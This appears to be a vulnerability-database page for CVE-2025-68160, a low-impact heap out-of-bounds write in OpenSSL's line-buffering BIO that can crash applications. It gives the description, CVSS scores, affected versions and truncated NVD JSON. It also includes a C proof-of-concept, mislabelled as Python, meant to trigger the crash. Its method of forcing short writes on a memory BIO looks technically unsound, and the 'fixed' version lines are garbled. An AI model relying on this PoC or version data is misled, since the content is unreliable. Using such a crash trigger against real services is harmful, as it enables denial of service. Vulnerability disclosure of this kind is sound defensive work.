Security Vulnerability Report
中文
CVE-2025-68160 CVSS 4.7 MEDIUM

CVE-2025-68160

Published: 2026-01-27 16:16:16
Last Modified: 2026-05-12 13:17:24

Description

Issue summary: Writing large, newline-free data into a BIO chain using the line-buffering filter where the next BIO performs short writes can trigger a heap-based out-of-bounds write. Impact summary: This out-of-bounds write can cause memory corruption which typically results in a crash, leading to Denial of Service for an application. The line-buffering BIO filter (BIO_f_linebuffer) is not used by default in TLS/SSL data paths. In OpenSSL command-line applications, it is typically only pushed onto stdout/stderr on VMS systems. Third-party applications that explicitly use this filter with a BIO chain that can short-write and that write large, newline-free data influenced by an attacker would be affected. However, the circumstances where this could happen are unlikely to be under attacker control, and BIO_f_linebuffer is unlikely to be handling non-curated data controlled by an attacker. For that reason the issue was assessed as Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the BIO implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:* - VULNERABLE
OpenSSL 3.6.x < 3.6.x (fixed)
OpenSSL 3.5.x < 3.5.x (fixed)
OpenSSL 3.4.x < 3.4.x (fixed)
OpenSSL 3.3.x < 3.3.x (fixed)
OpenSSL 3.0.x < 3.0.x (fixed)
OpenSSL 1.1.1.x < 1.1.1 (fixed)
OpenSSL 1.0.2.x < 1.0.2 (fixed)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <openssl/bio.h> #include <openssl/err.h> #include <stdio.h> #include <string.h> // PoC for CVE-2025-68160: BIO_f_linebuffer heap buffer overflow // This demonstrates the vulnerability in OpenSSL's line-buffering filter int main() { BIO *bio_chain = NULL; BIO *linebuffer = NULL; BIO *mem = NULL; char *large_data = NULL; size_t data_size = 8192; // Large size without newlines // Allocate large buffer without newlines large_data = malloc(data_size); if (!large_data) { fprintf(stderr, "Failed to allocate memory\n"); return 1; } memset(large_data, 'A', data_size); large_data[data_size - 1] = '\0'; // Create memory BIO that performs short writes mem = BIO_new(BIO_s_mem()); if (!mem) { fprintf(stderr, "Failed to create memory BIO\n"); free(large_data); return 1; } // Set small buffer size to force short writes BIO_set_read_buffer_size(mem, 64); // Push linebuffer filter onto the BIO chain linebuffer = BIO_new(BIO_f_linebuffer()); if (!linebuffer) { fprintf(stderr, "Failed to create linebuffer BIO\n"); BIO_free(mem); free(large_data); return 1; } bio_chain = BIO_push(linebuffer, mem); // Write large newline-free data - triggers heap overflow printf("Writing %zu bytes of newline-free data...\n", data_size); int result = BIO_write(bio_chain, large_data, data_size); if (result <= 0) { printf("BIO_write failed or triggered crash (expected)\n"); } else { printf("Wrote %d bytes\n", result); } // Cleanup BIO_free_all(bio_chain); free(large_data); printf("Test completed - crash indicates vulnerability\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68160", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:15.900", "lastModified": "2026-05-12T13:17:24.080", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Issue summary: Writing large, newline-free data into a BIO chain using the\nline-buffering filter where the next BIO performs short writes can trigger\na heap-based out-of-bounds write.\n\nImpact summary: This out-of-bounds write can cause memory corruption which\ntypically results in a crash, leading to Denial of Service for an application.\n\nThe line-buffering BIO filter (BIO_f_linebuffer) is not used by default in\nTLS/SSL data paths. In OpenSSL command-line applications, it is typically\nonly pushed onto stdout/stderr on VMS systems. Third-party applications that\nexplicitly use this filter with a BIO chain that can short-write and that\nwrite large, newline-free data influenced by an attacker would be affected.\nHowever, the circumstances where this could happen are unlikely to be under\nattacker control, and BIO_f_linebuffer is unlikely to be handling non-curated\ndata controlled by an attacker. For that reason the issue was assessed as\nLow severity.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the BIO implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue."}, {"lang": "es", "value": "Resumen del problema: Escribir datos grandes y sin saltos de línea en una cadena BIO usando el filtro de búfer de línea, donde el siguiente BIO realiza escrituras cortas, puede desencadenar una escritura fuera de límites basada en el montón.\n\nResumen del impacto: Esta escritura fuera de límites puede causar corrupción de memoria, lo que típicamente resulta en un fallo, llevando a una denegación de servicio para una aplicación.\n\nEl filtro BIO de búfer de línea (BIO_f_linebuffer) no se usa por defecto en las rutas de datos TLS/SSL. En las aplicaciones de línea de comandos de OpenSSL, típicamente solo se envía a stdout/stderr en sistemas VMS. Las aplicaciones de terceros que usan explícitamente este filtro con una cadena BIO que puede realizar escrituras cortas y que escriben datos grandes y sin saltos de línea influenciados por un atacante se verían afectadas. Sin embargo, es poco probable que las circunstancias en las que esto podría ocurrir estén bajo el control del atacante, y es poco probable que BIO_f_linebuffer esté manejando datos no curados controlados por un atacante. Por esa razón, el problema fue evaluado como de baja severidad.\n\nLos módulos FIPS en 3.6, 3.5, 3.4, 3.3 y 3.0 no se ven afectados por este problema, ya que la implementación de BIO está fuera del límite del módulo FIPS de OpenSSL.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 y 1.0.2 son vulnerables a este problema."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.2", "versionEndExcluding": "1.0.2zn", "matchCriteriaId": "6A8EC60C-05EC-4886-8C82-63AEF4BDA8D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.1", "versionEndExcluding": "1.1.1ze", "matchCriteriaId": "E000B986-6A31-468F-9EA3-B9D16DB16FB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.19", "matchCriteriaId": "C76C5F55-5243-4461-82F5-2FEBFF4D59FA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3.0", "versionEndExcluding": "3.3.6", "matchCriteriaId": "F5292E9E-6B50-409F-9219-7B0A04047AD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.4", "matchCriteriaId": "B9D3DCAE-317D-4DFB-93F0-7A235A229619"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.5", "matchCriteriaId": "1CAC7CBE-EC03-4089-938A-0CEEB2E09B62"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openssl:openssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6. ... (truncated)